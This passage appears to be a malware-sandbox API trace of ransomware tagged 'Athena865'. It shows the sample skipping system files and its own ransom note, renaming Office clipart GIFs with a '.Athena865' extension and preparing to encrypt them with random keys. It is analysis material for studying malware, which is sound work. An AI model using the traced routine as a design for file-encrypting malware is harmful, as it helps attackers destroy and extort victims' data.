lpString2="db-wal") returned -1 [0120.824] lstrlenW (lpString="dbc") returned 3 [0120.824] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0120.824] lstrlenW (lpString="dbs") returned 3 [0120.824] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0120.824] lstrlenW (lpString="dbt") returned 3 [0120.824] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0120.824] lstrlenW (lpString="dbv") returned 3 [0120.824] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0120.824] lstrlenW (lpString="dbx") returned 3 [0120.824] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0120.826] lstrlenW (lpString="dcb") returned 3 [0120.827] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0120.827] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0120.827] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.Athena865") returned 73 [0120.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.athena865"), dwFlags=0x1) returned 1 [0120.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.829] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7216) returned 1 [0120.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.829] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.830] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.830] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.830] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f30, lpName=0x0) returned 0x154 [0120.832] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f30) returned 0x100000 [0120.834] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.835] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.835] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.836] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.836] CloseHandle (hObject=0x154) returned 1 [0120.836] CloseHandle (hObject=0x17c) returned 1 [0120.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.836] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".") returned 1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="..") returned 1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="windows") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="bootmgr") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="temp") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="pagefile.sys") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="boot") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="ids.txt") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="ntuser.dat") returned -1 [0120.836] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="perflogs") returned -1 [0120.837] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="MSBuild") returned -1 [0120.837] lstrlenW (lpString="AG00021_.GIF") returned 12 [0120.837] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00021_.GIF" | out: lpString1="AG00021_.GIF") returned="AG00021_.GIF" [0120.837] lstrlenW (lpString="AG00021_.GIF") returned 12 [0120.837] lstrlenW (lpString="Athena865") returned 9 [0120.837] lstrcmpiW (lpString1="0021_.GIF", lpString2="Athena865") returned -1 [0120.837] lstrlenW (lpString=".dll") returned 4 [0120.837] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".dll") returned 1 [0120.837] lstrlenW (lpString=".lnk") returned 4 [0120.837] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".lnk") returned 1 [0120.837] lstrlenW (lpString=".ini") returned 4 [0120.837] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".ini") returned 1 [0120.837] lstrlenW (lpString=".sys") returned 4 [0120.837] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".sys") returned 1 [0120.837] lstrlenW (lpString="AG00021_.GIF") returned 12 [0120.837] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.Athena865") returned 73 [0120.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.athena865"), dwFlags=0x1) returned 1 [0120.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.839] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14873) returned 1 [0120.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.840] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.840] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.840] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.841] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d20, lpName=0x0) returned 0x154 [0120.843] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d20) returned 0x100000 [0120.844] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.845] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.845] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.846] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.846] CloseHandle (hObject=0x154) returned 1 [0120.846] CloseHandle (hObject=0x17c) returned 1 [0120.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.846] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0120.846] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.846] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.846] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".") returned 1 [0120.846] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="..") returned 1 [0120.846] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="windows") returned -1 [0120.846] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="bootmgr") returned -1 [0120.846] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="temp") returned -1 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="pagefile.sys") returned -1 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="boot") returned -1 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="ids.txt") returned -1 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="ntuser.dat") returned -1 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="perflogs") returned -1 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="MSBuild") returned -1 [0120.847] lstrlenW (lpString="AG00037_.GIF") returned 12 [0120.847] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00037_.GIF" | out: lpString1="AG00037_.GIF") returned="AG00037_.GIF" [0120.847] lstrlenW (lpString="AG00037_.GIF") returned 12 [0120.847] lstrlenW (lpString="Athena865") returned 9 [0120.847] lstrcmpiW (lpString1="0037_.GIF", lpString2="Athena865") returned -1 [0120.847] lstrlenW (lpString=".dll") returned 4 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".dll") returned 1 [0120.847] lstrlenW (lpString=".lnk") returned 4 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".lnk") returned 1 [0120.847] lstrlenW (lpString=".ini") returned 4 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".ini") returned 1 [0120.847] lstrlenW (lpString=".sys") returned 4 [0120.847] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".sys") returned 1 [0120.847] lstrlenW (lpString="AG00037_.GIF") returned 12 [0120.847] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.Athena865") returned 73 [0120.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.athena865"), dwFlags=0x1) returned 1 [0120.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.848] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6684) returned 1 [0120.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.849] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.849] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.849] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.850] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d20, lpName=0x0) returned 0x154 [0120.851] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d20) returned 0x100000 [0120.852] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.853] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.853] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.854] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.854] CloseHandle (hObject=0x154) returned 1 [0120.854] CloseHandle (hObject=0x17c) returned 1 [0120.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.854] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".") returned 1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="..") returned 1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="windows") returned -1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="bootmgr") returned -1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="temp") returned -1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="pagefile.sys") returned -1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="boot") returned -1 [0120.854] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="ids.txt") returned -1 [0120.855] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="ntuser.dat") returned -1 [0120.855] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="perflogs") returned -1 [0120.855] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="MSBuild") returned -1 [0120.855] lstrlenW (lpString="AG00038_.GIF") returned 12 [0120.855] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00038_.GIF" | out: lpString1="AG00038_.GIF") returned="AG00038_.GIF" [0120.855] lstrlenW (lpString="AG00038_.GIF") returned 12 [0120.855] lstrlenW (lpString="Athena865") returned 9 [0120.855] lstrcmpiW (lpString1="0038_.GIF", lpString2="Athena865") returned -1 [0120.855] lstrlenW (lpString=".dll") returned 4 [0120.855] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".dll") returned 1 [0120.855] lstrlenW (lpString=".lnk") returned 4 [0120.855] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".lnk") returned 1 [0120.855] lstrlenW (lpString=".ini") returned 4 [0120.855] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".ini") returned 1 [0120.855] lstrlenW (lpString=".sys") returned 4 [0120.855] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".sys") returned 1 [0120.855] lstrlenW (lpString="AG00038_.GIF") returned 12 [0120.855] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.Athena865") returned 73 [0120.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.athena865"), dwFlags=0x1) returned 1 [0120.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.858] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3251) returned 1 [0120.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.858] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.859] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.859] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.859] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfc0, lpName=0x0) returned 0x154 [0120.860] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfc0) returned 0x100000 [0120.861] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.862] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.862] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.863] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.863] CloseHandle (hObject=0x154) returned 1 [0120.863] CloseHandle (hObject=0x17c) returned 1 [0120.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.863] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0120.863] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.863] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.863] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".") returned 1 [0120.863] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="..") returned 1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="windows") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="bootmgr") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="temp") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="pagefile.sys") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="boot") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="ids.txt") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="ntuser.dat") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="perflogs") returned -1 [0120.864] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="MSBuild") returned -1 [0120.864] lstrlenW (lpString="AG00040_.GIF") returned 12 [0120.864] lstrcpyW (in: 